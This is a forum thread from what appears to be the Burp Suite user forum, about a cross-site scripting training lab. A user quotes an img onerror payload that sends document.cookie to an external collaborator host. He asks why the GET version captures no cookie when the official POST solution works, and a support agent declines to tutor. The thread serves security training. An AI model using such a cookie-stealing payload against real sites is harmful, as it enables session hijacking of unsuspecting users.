Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

About the lab Exploiting cross-site scripting to steal cookies

Jimmy | Last updated: Mar 05, 2022 11:32PM UTC

I tried with XSS payloads that send GET request to Burp collaborator, butthe result of document.cookie is empty. For example: this payload did make the victim sent a GET request to my burp collaborator: <img src=x onerror=this.src='https://9dno4yv10avghgtn2efknx29b0hr5g.burpcollaborator.net/?c='+document.cookie>, but the result is: GET /?c= HTTP/1.1 ... So, somehow document.cookie cannot run, or return nothing. It works with the payload of official solution, and this solution uses POST. Therefore, my question is why do we have this different in behavior between GET and POST?

Alex, PortSwigger Agent | Last updated: Mar 07, 2022 08:25AM UTC

Hi, Thanks for your post. Unfortunately, we are unable to provide personal support or tutoring to Academy users, as we prefer to improve the experience for our entire userbase by focusing on expanding and refining our public content. Your post will stay up on the forum for a member of the community to reply. Thanks

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.